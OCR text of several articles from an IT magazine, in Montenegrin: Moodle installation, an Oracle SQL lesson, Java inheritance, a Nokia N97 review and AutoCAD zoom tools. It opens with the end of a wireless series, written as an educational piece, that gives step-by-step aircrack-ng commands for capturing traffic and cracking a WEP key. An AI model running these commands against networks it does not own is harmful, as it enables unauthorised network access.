Shell 3# airodump-ng –c 1 –-bssid 00110c0c0c –w izlaz wlan0Ovim unosom govorimo programu da sluša samo uređaj sa zadatimBSSID-om i da pakete memoriše u datoteku sa imenom izlaz, za sveto da koristi wlan0 interfejs, a kanal je 1.

Shell 4# aireplay-ng -1 0 –a 00110c0c0c –h 001122334455 wlan0Sa ovim vršimo lažnu provjeru autentičnosti i na taj način se povezu-jemo na wireless uređaj. Ovo –a označava adresu uređaja, a –h jeMAC adresa već povezanog klijenta.

Shell 5# aireplay-ng -3 –b 00110c0c0c ž–h 001122334455 wlan0Ova komanda povećava saobraćaj sa uređajem, da bismo brže moglida sakupimo potreban broj paketa. U onom prozoru gdje je ostaoairodump-ng vidjećete kako rapidno raste broj ispod opcije #Data.Kada broj pređe 20.000 može se izvršiti krekovanje šifre.

Shell 6# aircrack-ng –z izlaz-01.capSa ovim se započinje krekovanje i nakon nekoliko sekundi imaćetešifru koja će se pojaviti u sljedećem obliku: KEY FOUND[12:34:56:78:90] . Ovo znači da je šifra 1234567890.

Do sljedećeg broja testirajte svoje wireless uređaje i nemojte se bav-iti nedozvoljenim aktivnostima, ovo je bilo za edukativne svrhe. Unarednom broju bavićemo se drugim vrstama upada i pisaćemo otome kako ih zaustaviti.

wireless IIIdio


25strana

1. UVODMoodle je jedan od najboljih otvorenih sistema za upravljanje proce-som učenja (engl. Open Source Learning Management System). To jepaket za kreiranje kurseva koji se održavaju putem Interneta (weborijentisani). Moodle je skraćenica od Modular Object-Oriented Dy-namic Learning Enviroment (Modularno objektno-orijentisano di-namičko okruženje za učenje). Programski kôd Moodle-a napisan je uPHP skript jeziku, stoga se može koristiti na bilo kom računaru kojiima instaliran PHP.

2. INSTALACIJA2.1. ZAHTIJEVIDa bi ste mogli da koristite Moodle treba da imate:Instaliran PHP ( verzija 4.1.0. ili novija) sa omogućenim osobinama:Obrada slika (JPEG i PNG format) pomoću GD Librarya.Podršku za sesije (engl. session support).Podršku za otpremanje (engl. upload) datoteka (fajlova; engl. files).Instaliran MySQL server baza podataka. .

2.2. PREUZIMANJEKada preuzmete (engl. download) i raspakujete Moodle arhivu (zip ilitar tipa) kreiraće se direktorijum moodle u kome se nalaze svepotrebne datoteke. Možete kopirati cijeli direktorijum moodle u di-rektorijum koji sadrži datoteke vašeg web servera (u tom slučajuadresa web stranice će izgledati http://vaswebserver.xx/moodle) ilimožete kopirati datoteke iz direktorijuma moodle u vaš direktorijumkoji sadrži datoteke vašeg web servera ( u tom slučaju adresa webstranice će biti http://vaswebserver.xx

2.3. DIREKTORIJUM ZA PODATKENapravite direktorijum na vašem računaru u koji će program smiješ-tati datoteke koje će korisnici otpremati. Web server aplikacija trebada ima omogućeno pravo pisanja u tom direktorijumu.2.4. KREIRANJE BAZE PODATAKAKreirajte novu bazu podataka koju će moodle koristiti. Recimo:

#mysql –u root –p>CREATE DATABASE moodle>GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,INDEX,ALTERON moodle TO moodleuser@localhost IDENTIFIED BY 'yourpasswor> quit # mysqladmin -p reload

2.5. PROVJERITE PODEŠENOST WEB SERVERAPrvo, obezbijedite da web server koristi in-deks.php kao osnovnu stranicu.Kod Internet Information Servera to se radina sledeći način:Označite stavku Default Web Sites u desnom

oknu i kliknete na desni taster miša, a zatim iz pomoćnog menija bi-rate stavku Properties.

Birate sada karticu Documents i u odjeljku Enable Default Documentsi pogledajte koji tipovi dokumenata su definisani kao podrazumije-vani (osnovni).

Kliknite mišem na dugme Add sa desnestrane pomenutog odijeljka. Na ekranuse pojavljuje okvir za dijalog Add DefaultDocument i u polje Default DocumentName upišite index.php.Kod Apache servera to se postavlja koris-teći DirectoryIndex parametar uhttpd.conf datoteci. Obično to izgledaovako:

DirectoryIndex index.php index.html index.htm

Drugo, Moodle zahtijeva da određene PHP postavke budu uključene.Na većini servera one će već biti uključene. Ipak, neki PHP serveri (ineke novije PHP verzije) mogu biti drugačije postavljeni. Postavke sudefinisane u PHP konfiguracijskoj datoteci ( php.ini):

file_uploads = 1 magic_quotes_gpc = 1 short_open_tag = 1session.auto_start = 0Ako nemate pristup httpd.conf ili php.ini na vašem serveru, ili imateMoodle na serveru na kome su druge aplikacije koje zahtijevaju dru-gačije postavke napravite datoteku pod nazivom .htaccess u Moodle-ovom glavnom direktorijumu koja sadrži definicije postavki. Ovo jemoguće samo na Apache serveru i samo kada je opcija Overrideomogućena.Takođe, možete definisati maksimalnu veličinu datoteke koja se ot-prema na server. Najlakši način da napravite datoteku .htacces je dakopirate datoteku lib/htaccess i modifikujete je prema vašim potre-bama.

2.6. PRILAGODITE CONFIG.PHPKopirajte i preimenujte datoteku config-dist.php u config.php. Naovaj način će ostati sačuvane vaše postavke prilikom nadogradnjeMoodle-a. Otvorite config.php pomoću tekst editora i unesitepostavke vašeg servera i baze podataka. U samoj datoteci onfig.phppiše šta treba da promijenite (koju bazu koristite, web server, koris-ničko ime i lozinku itd.).

U preostalom dijelu dokumenta pretpostavićemo da je vaša URLadresa http://proba.xx/moodle

Fakultet za Informacione tehnologije

Moodle 1.1.1 (e-learning)


Prije svega želim da se podsjetim jedne izjave veomastručnog čovjeka iz oblasti internet tehnologija:„Mogućnosti interneta, ne samo da nisu istražene, većje njegov potencijal samo dotaknut“. Mnogo puta samrazmišljao o ovoj izjavi i o uticaju i posledicama ko-rišćenja interneta na građane ove naše planete. I zaista,medij zvani internet je promijenio komunikaciju širomsvijeta iz korijena.

Međutim, nije samo komunikacija ta koja je profitiralazbog interneta, već i nauka, kultura, sport, edukacija ijoš mnogo drugih. S obzirom da sam ekonomista i da nasvijet u velikoj mjeri gledam iz tog ugla, mogu reći da jeinternet uticao na nevjerovatno povećanje produk-tivnosti rada, smanjenja troškova i povećanje efikasnostiposlovanja u svim kompanijama na planeti.

Sada su informacije dostupne svime a ne samo velikimai moćnima, što male kompanije mogu da iskoriste usvrhu bolje fleksibilnosti i veće konkurentnosti natržištu. U to ime sam velika pristalica interneta ali i nesvih sadržaja koji se tu mogu naći. Veliki je problemiskontrolisati to beskrajno more informacija kojesvakoga dana kruže na netu ali je zadatak svih Vlada dadaju svoj maksimum kako bi pokušale da unesu red unovu „maniju“ zvanu internet.

Činjenica da djeca i prije polaska u školu koristeračunare i vrlo brzo savladaju i korišćenje interneta do-voljno govori o dostupnosti raznih vrsta informacija koje

mogu biti i korisne i pogubne za razvoj djece u tim godi-nama. Zato je internet svijetla tačka naše budućnosti,samo ako se donesu i ispoštuju pravila civilizovanog i ko-rektnog plasiranja informacija.

Svaki moj radni dan, počinje sa pritiskom tastera „start“na računaru i nakon toga klikom na ikonicu internet pre-traživača, kojih je uzgred rečeno sada toliko da čovjekne zna za koji da se odluči. Prvenstveno pogledam svojupoštu na netu, što poslovnu, što privatnu i nakon togaprelazim na ostale informacije koje me zanimaju.

Nekako, iz dana u dan, sve je više onih internet sajtovakoje redovno posjećujem. To sam prosto zapazio u zad-nje vrijeme. Volim da pronađem najnovije informacijekoje mi mogu pomoći u poslu ili prosto neke koje meprivatno najviše zanimaju. Sama činjenica da sam neštozanimljivo saznao na netu me još više vuče da posjeću-jem te stranice.

Mada je internet toliko uznapredovao da sada možete igledati sve TV emisije, serije, filmove bez odlaska ubioskop i slično, tako da ja lično, upražnjavam i tu op-ciju. I naravno da volim da na popularnom skyp-upopričam sa nekim od mojih prijatelja koji žive u inos-transtvu i na taj način ublažim distancu koja nas razd-vaja. Mnogo je pozitivnih strana korišćenja interneta i jasada ne bih mogao a da ne kažem da smatram da je in-ternet jedno od najvećih dostignuća ljudskog uma.

Međutim, važnije je ono što će se desiti u budućnosti ikako će sva ta ekspanzija uticati na nas. Pa, postoje i svi-jetla i mračna predskazanja ali ja vjerujem u pozitivnadešavanja i nezaustavljive pomake u egzistenciji čov-ječanstva.

Želim da svi ljudi koji još uvijek nisu uvidjeli koristi odpostojanja interneta, to što prije shvate, jer će im to po-moći u svakodnevnom životu, ko zna, možda u mjeri okojoj nikad nisu ni sanjali.


WMoj dan na internetu

Velibor Boškovićdirektor

Biznis inkubator“Inventivnost”


29strana

http://evaphone.com/Evaphone je provajder besplatnih telefon-skih poziva preko Interneta. Sve što vam jepotrebno je računar koji ćete iskoristiti dapozovete neki fiksni telefonski broj u inos-transtvu. U zavisnosti od zemlje koja je poz-vana, dužina besplatnog poziva varira.

http://youtubeloader.com/Praktičan sajt za downloadovanje Youtubesadržaja na Vaš računar. Dovoljno je odraditicopy/paste linka na sadržaj u edit box ikliknuti download.

http://www.kutak.cg.yu/index.phtmlZanimljivosti za najmlađu populaciju na inter-netu. Smjehotres, vicevi, radionice, svaštare,razne edukativne i veoma korisne rubrike

http://www.miniclip.com/Svijet fleš igrica. Mnoštvo različitihsadržaja izuzetno kvalitetno odrađenih,većinom besplatnih, gdje svako može pron-aći nešto interesantno.

http://www.bundolo.org/Dibidus volšeban sajt za priče, pjesme, tek-stove u nastavcima, stripove, vanbrodskidnevnik a ima i forum i grdilo fotografija.

http://www.formula1.com/Sve o održanim trkama, predstojećim nez-vaničnim, zvaničnim treninzima, vozačima…Potpuni pregled staza, live standings za vri-jeme trke, prodaja karata..

http://www.sendanonymousemail.net/Ako želite da pošaljete anonimni mail saovog servera u slučajevima kad hoćete da sešalite sa vašim prijateljima, da prijavitenepoštovanje zakona nadležnim organima,da pošaljete mail u slučaju da vaš regularnimail nije u funkciji, da upozorite nekoga naopasnost, da vidite je li vaš prijatelj pravi


31strana

Izlazak na tržište ovakvog Nokiamodela su mnogi dugo čekali.Jedan od najkompletnijih pamet-nih telefona ikada napravljenih,N97, je konačno ostvario snovemnogih Symbian fanova. Jedanod prvih Nokia telefona sa ekra-nom na dodir, 5800, je nudio za-ista mnogo, za relativno niskucijenu. Sada N97 nudi više, ali i samnogo većom cijenom. Oni kojisu vjerni Nokia telefonima sunavikli samo na najbolje, a saovim modelom Nokia će pronaćiput do najozbiljnijih i najvjernijihkupaca.

Prelazak operativnog sistemaS60, peto izdanje, na ekran nadodir je urađeno dosta dobro,mada ne možemo reći da je ovonajbolji i na-

jlakši interfejs na dodir koji pos-toji. Najveće zamjerke imamoprilikom skrolovanja, jer je odzivekrana u ovom dijelu dosta spor.Razlika u odnosu na Nokia-u5800 se ogleda samo u velikombroju widgeta koji posjeduje N97,a može se reći i da se nekefunkcije obavljaju znatno brže,što je i logično zbog jačeg proce-sora.

Widgeta nema mnogo u ovommodelu, a i to što ima je sasvimdovoljno. Zastupljeni su : face-book, amazon, calendar, e-mail,kontakti, plejeri i dr. Sve ih salakoćom možete rasporediti nanačin na koji vam najviše odgo-vara. Imenik je isti kao i kod os-talih modela iz Nokia-e, samo što

se ovaj putmožete kre-tati kroznjega po-moću prsta.Rad sa kontak-tima je prak-tičnoneograničen, savelikim brojemunosnih polja, apo želji možetedodavati i nekasvoja smišljenapolja. Prijem signalaje odličan i zvuk u slušalici je nanajvećem nivou.

Na žalost, smart dial ne postojikod ovog modela, pa ćete na

malo teži načinmorati da

dođete doželjenog

kon-takta.Rad

sa porukama je isti kao kodmodela 5800 s tim što osim poz-natih virtuelnih tastatura, kodovog modela koristite veomadobru QWERTY tastaturu. Rad safajlovima je fantastičan, mada jekod Nokie takav već duže vre-mena. Ne postoji funkcija koju nemožete uraditi sa svojim fa-jlovima. Fajlove možete mijenjati,kopirati, imenovati, slati, pa čak izaštiti šifrom ako želite.

Traženje fajlova je takođeveoma funkcionalno,dovoljno je da znatepočetno slovo fajla imemoriju gdje je sm-ješten ( memorijakartice ili telefona )i N97 će ga naćiveoma brzo. Muz-ički plejer je

veoma dobar, a pot-puno je isti kao kodmodela 5800, do-duše, pretrpio jeneke vizuelne izm-jene. Audio kvalitetje odličan i može daparira uređajima sanajboljim audiokvalitetom natržištu.

Gledanje video fa-jlova je pravo uži-

vanje na ekranu od 3.5inča, koji prikazuje 16 milionaboja rezolucije 640 x 360 piksela.Na žalost, video plejer ne posje-duje dovoljan broj kodeka za re-produkciju DivX i XviD materijala.FM radio je standardan, a zastu-pljen je i FM transmiter koji jedosta slab, ali se ipak može koris-titi. Kamera je rezolucije 5megapiksela i osim veće rezolu-cije ne nudi ništa kvalitetnije uodnosu na kameru modela 5800.Video zapis je VGA kvaliteta, alisu neki konkurenti ovom modelu,kao što su Samsung S8300 Ultra-TOUCH ili Omnia HD ponudilimnogo kvalitetnije video sni-manje. Što se tiče konekcija, zas-tupljene su sve moguće. Od USBpa sve do Wi-Fi. Web browsernudi velike mogućnosti, ali je kaoi kod modela 5800 loše optimizo-van, pa će vam trebati dosta vre-mena da se naviknete na njega, iopet nećete biti previše zado-voljni.

GPS risiver dolazi sa Nokia Mapsaplikacijom i daje veoma dobrerezultate. Dovoljno je nekih 7-8

sekundi da lociratesatelite.

Nokia N97 jeveoma dobartelefon, koji se

može takmičiti sa ve-likanima, ali ostajeutisak da bi ovaj

model, među najboljih 5uređaja ovakvog tipa, uvijek

bio na petom mjestu.

Piše: Danilo Tomčić

Što se tiče konekcija,zastupljene su sve

moguće. Od USB pasve do Wi-Fi. Web

browser nudi velikemogućnosti, ali je kao ikod modela 5800 loše

optimizovan

Rad sa fajlovima je fantastičan, mada je kod Nokie takav već

duže vremena

Gledanje video fajlovaje pravo uživanje na

ekranu od 3.5 inča, kojiprikazuje 16 miliona

boja rezolucije 640 x360 piksela

Nokia N97

Kolone tabela u Oracle bazi mogu biti određene tipom podataka kojipripada ANSI, DB2 ili SQL/DS tipu podataka. Oracle server internokonvertuje te tipove podataka u Oracle tip podatka (u prethodnimlekcijama su opisani ti tipovi). U nekim slučajevima se koristi podatakjednog tipa gdje se očekuje podatak drugog tipa. Kada se to desi, Or-acle server automatski konvertuje podatak u očekivani tip podatka.Ta konverzija može se uraditi implicitno od strane Oracle servera i ek-splicitno od strane korisnika.

Implicitna konverzija tipova podataka

Na primjer, u uslovu hire_date > '01-JAN-90' se implicitno konvertujestring '01-JAN-90' u date.Ili u uslovu salary=’12000’ se string implicitno konvertuje u broj.Treba napomenuti da implicitne konverzije usporavaju upit, pa sestoga preporučuje koriščenje eksplicitne konverzije.

Eksplicitna konverzija tipova podataka

Uopšteno je dafunkcije imaju imenakoja prate konverzacijuiz jednog tipa podatkau drugi. Prvi tip po-datka je input (ulazni),a drugi output (izlazni).

Upotreba TO_CHAR funkcije sa datumima

TO_CHAR(datum[, 'model formata'])

Model formata:- mora biti naveden pod jednostrukim navodnicima- je case-sensitive- može da uključi bilo koji validni format datuma- ima element fm koji uklanja suvišne prazne prostore i

izostavlja nule na početku- je odvojen od datumske vrijednosti zarezom

Ranije, sve Oracle datumske vrijednosti su prikazivane u formatu DD-MON-YY. Mi sada možemo upotrijebiti TO_CHAR funkciju da kon-vertujemo datum iz tog default-nog formata u onaj koji mi specifici-ramo.

Na primjer: Napravićemo upit kojim ćemo vratiti šifru radnika idatum zaposlenja u formatu ‘mjesec/godina’ radnika poprezimenu Higgins.

SELECT employee_id, TO_CHAR(hire_date, 'MM/YY') Month_HiredFROM employeesWHERE initcap(last_name) = 'Higgins';

Elementi DATE modela formata

Element RezultatYYYY Godina sa sve 4 cifreYYY Godina sa tri poslednje cifreYY Godina sa 2 poslednje cifreY Godina sa poslednjom cifromYEAR Godina (pun naziv na engleskom jeziku)MM Mjesec predstavljen sa 2 cifreMONTH Mjesec (pun naziv na engleskom jeziku)MON Troslovna skraćenica mjesecaRM Mjesec (rimskim slovima)DY Troslovna skraćenica dana u nedeljiDAY Dan (pun naziv na engleskom jeziku)DD Dan u mjesecuHH ili HH12 ili HH24 Sat u danu ili sat (0-12) ili sat (0-24)MI MinutSS SekundSSSSS Sekundi posle ponoći

Pr1. Prikazati sistemski vrijeme u obliku ’DD.MM.YYYY’.

SELECT to_char(sysdate,'DD.MM.YYYY') FROM dual;

Pr2. Prikazati sistemsko vrijeme u formatu sa datumom i sekundimaproteklim od početka tog dana.

SELECT to_char(sysdate,'DD-MON-YYYY HH24:MI:SS PM')FROM dual;

Pr3. Prikaz ukupnog broja minuta od početka današnjeg dana.

SELECT round(to_char(sysdate,'SSSSS')/60) FROM dual;

--round funkcija objašnjena u prethodnoj lekciji

SQLVI dioMarija RoganovićOracle SQL expert


Funkcije za konverziju

SQL SQL SQLDodatno

Element RezultatTH Redni broj, npr. DDTH za 7TH (sedmi)SP Ispisan broj slovima, npr. DDSP za TWOSPTH ili THSP Ispisan redni broj slovima, npr. DDTHSP za

FOURTH“bilo koji string” Ispisan string, bez navodnika

Pr.SELECT to_char(sysdate,'fm"Danas je" ddth "dan u mjesecu" month')FROM dual;

Pr.SELECT last_name||' '|| first_name rad-nik, to_char(hire_date,'fmDdspth MonthYYYY') FROM employees;

Upotreba TO_CHAR funkcije sa brojevima

TO_CHAR(broj[, 'model formata'])

Ovo su neki od formata koje možete koristiti u TO_CHAR funkciji dabiste broj prikazali kao karakter.

Element Rezultat Primjer Rezultat9 Predstavlja broj 999999 12340 Zahtijeva prikazivanje nula 099999 001234$ Znak za dolar $999999 $1234L Simbol lokalne monete L999999 €1234D Vraća na specificiranoj

poziciji decimalni karakter. Po defaultu je to tačka. 99D99 12.34

. Decimalna tačka na specificiranoj poziciji 9999.99 1234.00

G Vraća grupni separator. Možemo specificirati višestruke grupne separatore u ovom modelu formata. 9G999 1,234

, Zarez na poziciji koju mi odredimo 999,999 1,234

Primjer: Prikazati platu radnika po prezimenu Ernst sa grupnim i deci-malnim separatorom i lokalnom monetom.

SELECT TO_CHAR(salary, 'L99,999.00') SALARYFROM employeesWHERE initcap(last_name) = 'Ernst';

(Provjeriti Regional Options)

Upotreba TO_NUMBER i TO_DATE funkcija

Konvertovaćemo string u broj tako što ćemo koristiti funkcijuTO_NUMBER.

TO_NUMBER(karakter[, 'model formata'])

Konvertovaćemo string u datum tako što ćemo koristiti funkcijuTO_DATE.

TO_DATE(karakter[, 'model formata'])

Na primjer: Prikazati radnika koji je zaposlen datuma 24.05.1999.

SELECT last_name, hire_dateFROM employeesWHERE hire_date = TO_DATE('May 24, 1999', 'Month DD, YYYY');

Znači, nezavisno kako je u bazi ispisan datum, mi ćemo dobiti rezultatovakvim upitom.

Ugniježdene funkcije

Jednoredne funkcije mogu bitiugnježdene na više nivoa.Ugniježdene funkcije se razvijajuod najdubljeg ka najplićem nivou.

Primjer: Prezimena radnika iz odjeljenja 60 skratiti na 3 karaktera,postaviti sufiks _US i ispisati dobijenu riječ velikim slovima.

SELECT last_name,UPPER(CONCAT(SUBSTR (LAST_NAME, 1, 3), '_US'))FROM employeesWHERE department_id = 60;

Rezultat 1 = SUBSTR(LAST_NAME, 1, 3)Rezultat 2 = CONCAT(Rezultat 1, '_US')Rezultat 3 = UPPER(Rezultat 2)

Primjer: Prikazati datum narednog petka posle 6 mjeseci od dana za-poslenja. Rezultujući datum treba biti prikazan kao u prim-jeru Friday, August 13th, 1999. Sortirati rezultat.

SELECT TO_CHAR(NEXT_DAY(ADD_MONTHS(hire_date, 6), 'FRIDAY'),'fmDay, Month DDth, YYYY')"Pregled posle 6 mjeseci"FROM employeesORDER BY hire_date;


33strana


Uslovni izrazi

Obezbjeđujemo korišćenje IF-THEN-ELSE logike u SQL naredbama po-moću 2 metode:CASE izrazomDECODE funkcijom

CASE izraz

CASE izraz WHEN uslov1 THEN rez_uslov1[WHEN uslov2 THEN rez_uslov2WHEN uslovn THEN rez_uslovnELSE else_izraz]END

CASE izraz nam omogućava korišćenje IF-THEN-ELSE logike u SQLnaredbama , bez pozivanja procedura.U CASE izrazu, Oracle server traži prvi WHEN … THEN par za koji jeizraz jednak uslovu i vraća rezultat.Ako nijedan od parova WHEN … THEN ne zadovoljava uslov i ako ELSEuslov postoji, onda Oracle server vraća else_izraz. U suprotnom, Ora-cle server će vratiti NULL. Mi ne možemo specificirati NULL vrijednostni za jedan rez_uslov, kao ni za else_izraz.Svi izrazi (izraz, uslov i rez_uslov) moraju biti istog tipa podataka, kojimože biti tipa CHAR, VARCHAR2, NCHAR ili NVARCHAR2.

Pr1. Radnicima koji obavljaju posao IT_PROG povećati platu 10%,onima koji rade posao ST_CLERK 15%, a za SA_REP 20%. Ostal-ima ostaje isto kao prije.

SELECT last_name PREZIME, job_id POSAO, salary PLATA,CASE job_id WHEN 'IT_PROG' THEN 1.10*salaryWHEN 'ST_CLERK' THEN 1.15*salaryWHEN 'SA_REP' THEN 1.20*salaryELSE salary END "PREPRAVLJENA PLATA"FROM employees;

Pr2. Ocijeniti plate radnika. Skala ide ovako: manje od 5000 ‘niska’,manje od 10000 ‘osrednja’, manje od 20000 ‘dobra’, u suprot-nom je ‘odlicna’.

SELECT last_name prezime,salary plata,(CASE WHEN salary<5000 THEN 'Niska'WHEN salary<10000 THEN 'Osrednja'WHEN salary<20000 THEN 'Dobra'ELSE 'Odlicna'END) ocjena_plateFROM employees;

DECODE funkcija

DECODE(kolona|izraz, uslov1, rezultat1[,uslov2, rezultat2,...,][, default]) Decode funkcija upoređuje kolonu ili izraz sa uslovom, ako dođe dopoklapanja vraća se rezultat. Ako je default vrijednost izostavljena, vratiće se NULL (ovo važi uslučaju da nije došlo do poklapanja).

Uradićemo Pr1 iz podnaslova CASE izraz pomoću DECODE funkcije.

SELECT last_name prezime, job_id posao, salary plata,DECODE(job_id, 'IT_PROG', 1.10*salary,'ST_CLERK', 1.15*salary,'SA_REP', 1.20*salary,salary)"PREPRAVLJENA PLATA"FROM employees;

Pr. Imamo sljedeću skalu:

Mjesečna zarada Postotak za porez

$0.00–1,999.99 00%$2,000.00–3,999.99 09%$4,000.00–5,999.99 20%$6,000.00–7,999.99 30%$8,000.00–9,999.99 40%$10,000.00–11,999.99 42%$12,200.00–13,999.99 44%$14,000.00 ili više 45%

SELECT last_name, salary,DECODE (TRUNC(salary/2000, 0),0, 0.00,1, 0.09,2, 0.20,3, 0.30,4, 0.40,5, 0.42,6, 0.44,0.45) TAX_RATEFROM employeesWHERE department_id = 80;

Zaokružili smo priču o jednorednim funkcijama. U sljedećoj lekcijićemo pričati o grupnim funkcijama. Ukoliko imate nešto da pitate uvezi SQL škole kontaktirajte nas na mail adresu: [email protected].

SQL SQL SQL

Jedno od najmoćnijih svojstava OO programiranja jeste višestrukaupotrebljivost programskog koda. Proceduralno programiranjeomogućuje izvjestan stepen višestruke upotrebljivosti programskogkoda – možete napisati procedure i potom je koristiti koliko god putaželite. Međutim, OO programiranje čini veoma važan korak dalje, jervam omogućava definisanje odnosa između klasa. Na taj način,pored olakšavanja višestruke upotrebljivosti programskog koda,olakšava se i cjelokupno projektovanje. Srž je u organizovanju klasa irazvrstavanje zajedničkih osobina različitih klasa. Nasleđivanje je os-novno sredstvo koje pruža ovu funkcionalnost.Nasljeđivanje dozvoljava klasi da naslijedi attribute i metode nekedruge klase. To vam omogućava da napravite potpuno nove klase, pritome apstrahujući zajedničke atribute i ponašanja. Jedan od glavnih problema koji se javljaju u OO programiranju jesterazvrstavanje zajedničkih osobina različitih klasa.Na primjer, imate klasu Pas i klasu Mačka. Svaka od ovih klasa imaatribut za boju očiju. U svijetu proceduralnog programiranja, atributza boju očiju bi se sadržao u programskom kodu obje procedure (pro-cedura Pas i procedura Mačka). U OO programiranju, atribut za bojuočiju bio bi apstrahovan sve do nivoa klase Sisar – zajedno sa svimostalim zajedničkim atributima i metodama. U ovom slučaju, klasePas i Mačka nasleđuju klasu Sisar, kao što je prikazano na slici 1.

Klasa koja nasljeđuje zove se podklasa(subclass) klase od koje nasljeđuje. Akoje klasa Pas podklasa klase Sisar onda jaklasa Sisar nadklasa (superclass) klasePas. Podklasa može nadopunjavati

strukturu i ponašanje klase koju naslijeđuje, a može i zamijeniti iliizmijeniti naslijeđeno ponašanje, ali ne i naslijeđenu strukturu.Odnos između podklase i nadklase je često prikazan kao dijagram ukojem je podklasa prikazana ispod i povezana na nadklasu.

U Javi se može prilikom stvaranja nove klase deklarisati da je novaklasa podklasa postojeće klase. U slučaju klase Pas koja se definišekao podklasa klase Sisar to se zapisuje ovako:

class Pas extends Sisar {.. . .

}

Stablo naslijeđivanja može poprilično narasti. Kada se upotpuneklase sisar i Mačka, ostali sisrai, kao što su psi ( ali i lavovi, tigrovi, imedvjed), lako se mogu dodati. Klasa Mačka, takođe može bitinadređena klasa za neku drugu klasu. Na primjer, može bitineophodna dalja apstrakcija klase Mačka, da bi se obezbjedile klaseza persijske i sijamske mačke. Slično klasi Mačka, klasa Pas može bitinadređena klasa u odnosu na klase NjemačkiOvčar i Pudla (slika 2).Moć mehanizma naslijeđivanja leži u apstrakciji i tehnikama organi-zacije.

Napomenimo da klaseNjemačkiOvčar i pudlanaslijeđuju klasu Pas –svaka sadrži samo pojedan metod. Ipak,pošto nasleđuju klasuPas, one takođenasleđuju i klasu Sisar.

Zbog toga, klase NjemačkiOvčar i Pudla sadrže atribute svojstvenesvojoj klasi, atribute svojstvene klasi Pas i klasi Sisar.

PrimjerRazmotrimo primjer programa koji prati registracije motornih vozila.Program koristi klasu Vehicle koja predstavlja sva motorna vozila, auključuje varijable instance poput registrationNumber, owner imetode instance poput transferOwnership(). Ove su varijable imetode zajedničke svim vozilima. Tri podklase klase Vehicle: Car,Truck i Motorcycle sadržavaju varijable i metode vezane uz određenevrste vozila. Klasa Car može dodati varijablu instance numberOf-Doors, Truck klasa može dodati numberOfAxels, a Motorcycle klasamože imati logičku varijablu hasSidecar.

Deklaracija ovih klasa bi u Javi u grubim crtama izgledala ovako: class Vehicle {

int registrationNumber;Person owner; // (uz pretpostavku da je klasa Person već defin-

isana)void transferOwnership(Person newOwner) {

. . .}. . .

}class Car extends Vehicle {

int numberOfDoors;. . .

}class Truck extends Vehicle {

int numberOfAxels;. . .

}class Motorcycle extends Vehicle {

boolean hasSidecar;. . .

}Pretpostavimo da je myCar varijabla tipa Car deklarisana i inicijalizo-vana izrazom:

Car myCar = new Car();Uz ovakvu deklaraciju, program bi mogao pozivati myCar.numberOf-Doors jer je numberOfDoors varijabla instance u klasi Car. Budući daklasa Car nasljeđuje klasu Vehicle, Car ima strukturu i ponašanje Ve-hiclea, to znači da takođe postoje i myCar.registrationNumber,myCar.owner i myCar.transferOwnership().


Dženan Strujić, Fakultet za informacione tehnologije, Univerzitet “Mediteran” Podgorica

šoljica kafe zaprogramere12. dio Nasljeđivanje, polimorfizam i abstraktne klase

U stvarnom svijetu automobili, kamioni i motocikli sustvarno vozila, kao i u programu. Znači, objekat tipa Car,Truck ili Motorcycle je automatski i objekat tipa Vehicle. Tonas vodi do važnog zaključka: Varijabla koja u sebi može da sadrži poziv na objekat klase A,može da sadrži i poziv na objekat koji pripada bilo kojoj odpodklasa klase A.Stvarni učinak ovog u našem primjeru je da objekat tipa Carmože biti pridjeljen varijabli tipa Vehicle, tj. možemo pisati:

Vehicle myVehicle = myCar;ili:

Vehicle myVehicle = new Car();Nakon bilo kojeg od ovih izraza varijabla myVehicle sadržipoziv na Vehicle objekat koji je instanca podklase Car. Ob-jekat "pamti" da je zapravo Car, a ne samo Vehicle. Podatak ostvarnoj klasi objekta je sačuvan kao dio tog objekta. Čak jemoguće ispitati pripada li objekat datoj klasi koristeći in-stanceof operator:

if (myVehicle instanceof Car) ...ovaj test određuje da li je objekat na kojeg pokazuje myVehi-cle stvarno Car. Sa druge strane, ako je myVehicle varijabla tipa Vehicle, izrazpridjeljivanja:

myCar = myVehicle;nije dozvoljen jer myVehicle može pokazivati na druge tipoveiz klase Vehiclea a ne samo iz klase Car. Slično kao kad raču-nar ne dozvoljava pridjeljivanje int vrijednosti short varijabli,jer svaki int nije i short. Rješenje ovog slučaja je opet pret-varanje tipova. Ako slučajno znamo da se myVehicle odnosina Car, možemo pretvoriti tip izrazom:

myCar = (Car)myVehicle;a čak se može pozvati i

((Car)myVehicle).numberOfDoors.Pokažimo to na primjeru ispisivanja važnih podataka o vozilu:

System.out.println("Podaci o vozilu:");System.out.println("Registracioni broj: "

+ myVehicle.registrationNumber);if (myVehicle instanceof Car) {

System.out.println("Tip vozila: Car");Car c = (Car)myVehicle;System.out.println("Broj vrata: " + c.numberOf-

Doors);}else if (myVehicle instanceof Truck) {

System.out.println("Tip vozila: Truck");Truck t = (Truck)myVehicle;System.out.println("Broj: " + t.numberOfAxels);

}else if (myVehicle instanceof Motorcycle) {

System.out.println("Tip vozila: Motorcycle");Motorcycle m = (Motorcycle)myVehicle;System.out.println("Ima: " + m.hasSidecar);

}

Uočite da pri izvršavanju programa računar provjerava da lije pretvaranje tipova ispravno, tako ako se myVehicle odnosina objekat tipa Truck, pretvaranje tipa (Car)myVehicle ćeproizvesti grešku.



U ovom broju časopisa BIT bolje ćemo se upoznati sa alatima:Zoom - paleta za uvećanje/smanjenje crteža i Draw - paletaalata za crtanje.Trake sa alatima : Standard, Properties, Layers, Styles, Draw iModify su vidljive pri svakom otvaranju programa. Da bi namželjena traka sa alatima bila vidljiva treba da uradimosljedeće:

Zoom - paleta za uvećanje/smanjenje crteža

Zoom Window – Komanda Zoom Window nam omogućava dauvećamo (zumiramo) dio crteža koji prethodno označimopravougaonikom.

Zoom Dynamic – Komanda Zoom Dynamic nam služi zaubrzanu promjenu razmjere dijelova crteža. Zona u plavomokviru odgovara granicama crteža definisanim komandomLimits. Zona u zelenom okviru odgovara prethodnom prikazu.Pomjeranjem pravougaonika osnovne boje vrši se izbor žel-jenog dijela crteža. Da promjenite veličinu pravougaonika zaizbor kliknite lijevi taster miša i napravite novi pravougaonik.Pritiskom na desni taster završava se funkcija.

Zoom Scale – Komanda Zoom Scale nam omogućava dazadamo faktor uvećanja ili umanjenja crteža. Uvećanjemožemo da vršimo u odnosu na limite crteža ili u odnosu natrenutni prikaz. Ako želimo uvećanje od 2 puta u odnosu nalimite crteža,ukucamo 2, a ako želimo uvećanje od 2 puta uodnosu na trenutni pogled, onda ukucamo 2x.

